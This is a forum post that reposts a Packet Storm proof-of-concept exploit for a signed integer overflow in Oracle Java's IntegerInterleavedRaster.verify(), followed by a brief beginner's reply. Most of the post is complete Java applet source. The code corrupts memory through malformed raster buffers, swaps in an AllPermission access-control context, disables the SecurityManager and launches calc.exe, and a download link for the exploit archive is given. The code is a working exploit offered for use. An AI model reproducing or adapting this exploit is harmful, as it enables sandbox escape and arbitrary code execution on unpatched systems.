Jump to content
Nytro

Oracle Java IntegerInterleavedRaster.verify() Signed Integer Overflow

Recommended Posts

Posted

Packet Storm Exploit 2013-0813-1 - Oracle Java IntegerInterleavedRaster.verify() Signed Integer Overflow

Site packetstormsecurity.com

The IntegerInterleavedRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a signed integer overflow that allows bypassing of "dataOffsets[0]" boundary checks. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program.

import java.awt.CompositeContext;

import java.awt.image.*;

import java.beans.Statement;

import java.security.*;

public class MyJApplet extends javax.swing.JApplet {

/**

* Initializes the applet myJApplet

*/

@Override

public void init() {

/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.

* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html

*/

try {

for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {

if ("Nimbus".equals(info.getName())) {

javax.swing.UIManager.setLookAndFeel(info.getClassName());

break;

}

}

} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

}

//</editor-fold>

/* Create and display the applet */

try {

java.awt.EventQueue.invokeAndWait(new Runnable() {

public void run() {

initComponents();

// print environment info

String vsn = System.getProperty("java.version");

logAdd(

"JRE: " + System.getProperty("java.vendor") + " " + vsn +

"\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") +

"\nJava Plug-in: " + System.getProperty("javaplugin.version") +

"\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")"

);

// check JRE version

int v = Integer.parseInt(vsn.substring(vsn.indexOf("_")+1));

_is7u17 = (vsn.startsWith("1.7.0_") && v >= 17) || (vsn.startsWith("1.6.0_") && v >= 43);

}

});

} catch (Exception ex) {

ex.printStackTrace();

}

}

public void logAdd(String str)

{

txtArea.setText(txtArea.getText() + str + "\n");

}

public void logAdd(Object o, String... str)

{

logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString()));

}

public String errToStr(Throwable t)

{

String str = "Error: " + t.toString();

StackTraceElement[] ste = t.getStackTrace();

for(int i=0; i < ste.length; i++) {

str += "\n\t" + ste.toString();

}

t = t.getCause();

if (t != null) str += "\nCaused by: " + errToStr(t);

return str;

}

public void logError(Exception ex)

{

logAdd(errToStr(ex));

}

public static String toHex(int i)

{

return Integer.toHexString(i);

}

/**

* This method is called from within the init() method to initialize the

* form. WARNING: Do NOT modify this code. The content of this method is

* always regenerated by the Form Editor.

*/

@SuppressWarnings("unchecked")

// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents

private void initComponents() {

btnStart = new javax.swing.JButton();

jScrollPane2 = new javax.swing.JScrollPane();

txtArea = new javax.swing.JTextArea();

btnStart.setText("Run calculator");

btnStart.addMouseListener(new java.awt.event.MouseAdapter() {

public void mousePressed(java.awt.event.MouseEvent evt) {

btnStartMousePressed(evt);

}

});

txtArea.setEditable(false);

txtArea.setColumns(20);

txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N

txtArea.setRows(5);

txtArea.setTabSize(4);

jScrollPane2.setViewportView(txtArea);

javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());

getContentPane().setLayout(layout);

layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(layout.createSequentialGroup()

.addContainerGap()

.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE)

.addContainerGap())

.addGroup(layout.createSequentialGroup()

.addGap(242, 242, 242)

.addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE)

.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))

);

layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()

.addContainerGap()

.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(btnStart)

.addContainerGap())

);

}// </editor-fold>//GEN-END:initComponents

private boolean _isMac = System.getProperty("os.name","").contains("Mac");

private boolean _is64 = System.getProperty("os.arch","").contains("64");

private boolean _is7u17 = true;

// we will need SinglePixelPackedSampleModel which returns 0 from getNumDataElements()

class MySampleModel extends SinglePixelPackedSampleModel

{

public MySampleModel(int dataType, int w, int h, int scanlineStride, int[] bitMasks)

{

super(dataType, w, h, scanlineStride, bitMasks);

}

// override getNumComponents

public int getNumDataElements()

{

int res = 0;

logAdd("MySampleModel.getNumDataElements() = " + res);

return res;

}

}

private int tryExpl()

{

try {

// alloc aux vars

String name = "setSecurityManager";

Object[] o1 = new Object[1];

Object o2 = new Statement(System.class, name, o1); // make a dummy call for init

// allocate malformed buffer for destination Raster,

// "offset" parameter points outside the real storage

DataBufferInt dst = new DataBufferInt(new int[4], 4, 14 + (_is64 ? 4:0));

// allocate the target array right after dst

int[] a = new int[16];

// allocate an object array right after a[]

Object[] oo = new Object[7];

// create Statement with the restricted AccessControlContext

oo[2] = new Statement(System.class, name, o1);

// create powerful AccessControlContext

Permissions ps = new Permissions();

ps.add(new AllPermission());

oo[3] = new AccessControlContext(

new ProtectionDomain[]{

new ProtectionDomain(

new CodeSource(

new java.net.URL("file:///"),

new java.security.cert.Certificate[0]

),

ps

)

}

);

// store System.class pointer in oo[]

oo[4] = ((Statement)oo[2]).getTarget();

// save old a.length

int oldLen = a.length;

logAdd("a.length = 0x" + toHex(oldLen));

// prepare source buffer

DataBufferInt src = new DataBufferInt(2);

src.setElem(1,-1); // src[1] will overwrite a.length by 0xFFFFFFFF

// create normal source raster

DirectColorModel cm = (DirectColorModel)ColorModel.getRGBdefault();

SinglePixelPackedSampleModel sm1 = new SinglePixelPackedSampleModel(DataBuffer.TYPE_INT, 1,2,1, cm.getMasks());

WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null);

// create custom SinglePixelPackedSampleModel with malicious getNumDataElements() (for 7u17)

// or with negative scanlineStride for jre < 7u17

MySampleModel sm2 = new MySampleModel(DataBuffer.TYPE_INT, 1,2, _is7u17 ? 1 : 0x80000001, cm.getMasks());

// create destination IntegerInterleavedRaster basing on malformed dst[] and sm2

WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null);

logAdd(wr2);

// create sun.java2d.SunCompositeContext

CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null);

logAdd(cc);

// call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c)

// and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c)

cc.compose(wr1, wr2, wr2);

// check results: a.length should be overwritten by 0xFFFFFFFF

int len = a.length;

logAdd("a.length = 0x" + toHex(len));

if (len == oldLen) {

// check a[] content corruption // for RnD

for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a));

// exit

logAdd("error 1"); return 1;

}

// ok, now we can read/write outside the real a[] storage,

// lets find our Statement object and replace its private "acc" field value

// search for oo[] after a[oldLen]

boolean found = false;

int ooLen = oo.length;

for(int i=oldLen+2; i < oldLen+32; i++)

if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null

&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null

&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null

{

// read pointer from oo[4]

int stmTrg = a[i+4];

// search for the Statement.target field behind oo[]

for(int j=i+7; j < i+7+64; j++){

if (a[j] == stmTrg) {

// overwrite default Statement.acc by oo[3] ("AllPermission")

a[j-1] = a[i+3];

found = true;

break;

}

}

if (found) break;

}

// check results

if (!found) {

// print the memory dump on error // for RnD

String s = "a["+oldLen+"...] = ";

for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ",";

logAdd(s);

} else try {

// show current SecurityManager

logAdd(System.getSecurityManager(), "Security Manager = ");

// call System.setSecurityManager(null)

((Statement)oo[2]).execute();

// show results: SecurityManager should be null

logAdd(System.getSecurityManager(), "Security Manager = ");

} catch (Exception ex) {

logError(ex);

}

logAdd(System.getSecurityManager() == null ? "Ok.":"Fail.");

} catch (Exception ex) {

logError(ex);

}

return 0;

}

private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed

try {

logAdd("===== Start =====");

// try several attempts to exploit

for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){

logAdd("Attempt #" + i);

tryExpl();

}

// check results

if (System.getSecurityManager() == null) {

// execute payload

Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");

}

logAdd("===== End =====");

} catch (Exception ex) {

logError(ex);

}

}//GEN-LAST:event_btnStartMousePressed

// Variables declaration - do not modify//GEN-BEGIN:variables

private javax.swing.JButton btnStart;

private javax.swing.JScrollPane jScrollPane2;

private javax.swing.JTextArea txtArea;

// End of variables declaration//GEN-END:variables

}

Download:

http://packetstorm.igor.onlinedirect.bg/1308-exploits/PSA-2013-0813-1-exploit.tgz

Sursa: Packet Storm Exploit 2013-0813-1 - Oracle Java IntegerInterleavedRaster.verify() Signed Integer Overflow ? Packet Storm

Posted

hello nitro

well, I'm still noob to find java exploit or other exploits

one basic question:

how to find exploits in programs like java?

what program used to find these exploits?

you could help me, thanks in advance;

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...